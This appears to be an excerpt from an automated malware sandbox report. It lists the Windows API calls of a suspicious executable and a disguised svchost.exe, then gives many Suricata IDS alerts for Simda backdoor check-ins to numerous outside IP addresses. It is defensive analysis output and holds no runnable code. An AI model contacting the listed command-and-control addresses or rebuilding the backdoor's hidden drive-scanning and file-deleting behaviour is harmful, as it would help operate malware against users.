Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_0105BB20 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,	7_2_0105BB20
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_0105BBE9 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,	7_2_0105BBE9
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_01067CE0 PathAddBackslashA,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,	7_2_01067CE0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_0106BE40 memset,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindClose,	7_2_0106BE40
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_010466D0 PathAddBackslashA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,	7_2_010466D0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A3D0C0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,	9_2_00A3D0C0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A3D189 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,	9_2_00A3D189
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A3BBE9 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,	9_2_00A3BBE9
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A3BB20 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,	9_2_00A3BB20
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A47CE0 PathAddBackslashA,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,	9_2_00A47CE0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A266D0 PathAddBackslashA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,	9_2_00A266D0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A4BE40 memset,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindClose,	9_2_00A4BE40

Source: C:\Windows\apppatch\svchost.exe

Code function: 2_2_02C9C3DB GetLogicalDriveStringsA,GetDriveTypeA,SetErrorMode,free,

2_2_02C9C3DB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49717 -> 23.253.46.64:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49721 -> 75.2.71.199:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49715 -> 3.94.10.34:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49714 -> 18.208.156.248:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49718 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49724 -> 23.253.46.64:80
Source: Network traffic	Suricata IDS: 2021022 - Severity 1 - ET MALWARE Wapack Labs Sinkhole DNS Reply : 1.1.1.1:53 -> 192.168.2.6:63778
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49728 -> 154.212.231.82:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49720 -> 44.221.84.105:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49723 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49725 -> 85.17.31.122:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49726 -> 75.2.71.199:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49787 -> 76.223.67.189:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49753 -> 103.150.10.48:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49722 -> 208.100.26.245:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49719 -> 44.221.84.105:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49739 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49729 -> 85.17.31.122:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49795 -> 103.224.182.252:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49745 -> 18.208.156.248:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49746 -> 3.94.10.34:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49716 -> 199.191.50.83:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49794 -> 103.224.212.210:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49740 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49786 -> 64.225.91.73:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49796 -> 154.85.183.50:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49829 -> 72.52.179.174:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49793 -> 44.221.84.105:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49822 -> 72.52.179.174:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49821 -> 64.225.91.73:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:53377 -> 44.221.84.105:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:54642 -> 23.253.46.64:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:53361 -> 52.34.198.229:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:53397 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:54648 -> 23.253.46.64:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:54643 -> 85.17.31.122:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:54646 -> 85.17.31.122:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:53774 -> 44.221.84.105:80
Source: Network traffic	Suricata IDS: 2021022 - Severity 1 - ET MALWARE Wapack Labs Sinkhole DNS Reply : 1.1.1.1:53 -> 192.168.2.6:58475
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:52149 -> 208.100.26.245:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:52150 -> 44.221.84.105:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50219 -> 178.162.203.226:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:54725 -> 103.224.182.252:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:52123 -> 208.100.26.245:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:52164 -> 199.191.50.83:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:53772 -> 162.255.119.102:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50217 -> 199.191.50.83:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:53776 -> 208.100.26.245:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:53764 -> 72.52.179.174:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:53773 -> 99.83.170.3:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:52172 -> 99.83.170.3:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50235 -> 3.94.10.34:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50236 -> 199.191.50.83:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:52145 -> 44.221.84.105:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:52122 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:53766 -> 72.52.179.174:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:52133 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:52119 -> 3.94.10.34:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50238 -> 154.212.231.82:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50228 -> 199.191.50.83:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59198 -> 44.221.84.105:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:52125 -> 178.162.203.226:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:52128 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:52147 -> 3.94.10.34:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50242 -> 44.221.84.105:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50216 -> 91.195.240.19:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:53777 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:54644 -> 75.2.71.199:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:54724 -> 103.224.212.210:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50241 -> 199.191.50.83:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50215 -> 154.212.231.82:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50239 -> 44.221.84.105:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50244 -> 178.162.203.226:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50226 -> 18.208.156.248:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59215 -> 44.221.84.105:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50243 -> 162.255.119.102:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59213 -> 3.94.10.34:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59212 -> 199.191.50.83:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59238 -> 178.162.203.226:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59192 -> 154.212.231.82:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59236 -> 154.212.231.82:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59207 -> 154.212.231.82:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59250 -> 91.195.240.19:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59221 -> 154.212.231.82:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59199 -> 3.94.10.34:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50234 -> 208.100.26.245:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59239 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:52146 -> 44.221.84.105:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59204 -> 178.162.203.226:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59205 -> 208.100.26.245:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:52121 -> 44.221.84.105:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:52170 -> 91.195.240.19:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59195 -> 44.221.84.105:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59216 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59200 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59208 -> 18.208.156.248:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59223 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59203 -> 162.255.119.102:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:52129 -> 18.208.156.248:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59233 -> 18.208.156.248:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:52163 -> 178.162.203.226:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50246 -> 91.195.240.19:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50218 -> 44.221.84.105:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59220 -> 162.255.119.102:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59214 -> 178.162.203.226:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59222 -> 99.83.170.3:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59219 -> 44.221.84.105:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59196 -> 199.191.50.83:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59235 -> 99.83.170.3:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59226 -> 44.221.84.105:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:52126 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50227 -> 154.212.231.82:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59197 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59225 -> 162.255.119.102:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59241 -> 3.94.10.34:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59237 -> 44.221.84.105:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59218 -> 18.208.156.248:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:52124 -> 162.255.119.102:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59206 -> 99.83.170.3:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59240 -> 199.191.50.83:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:52127 -> 178.162.203.226:80
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49732 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49748 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49730 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49770 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:54664 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:54701 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:54680 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:54647 -> 75.2.71.199:443
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:54645 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50210 -> 99.83.170.3:443
Source: Network traffic	Suricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:52171 -> 188.114.96.3:443

System process connects to network (likely due to code injection or exploit)

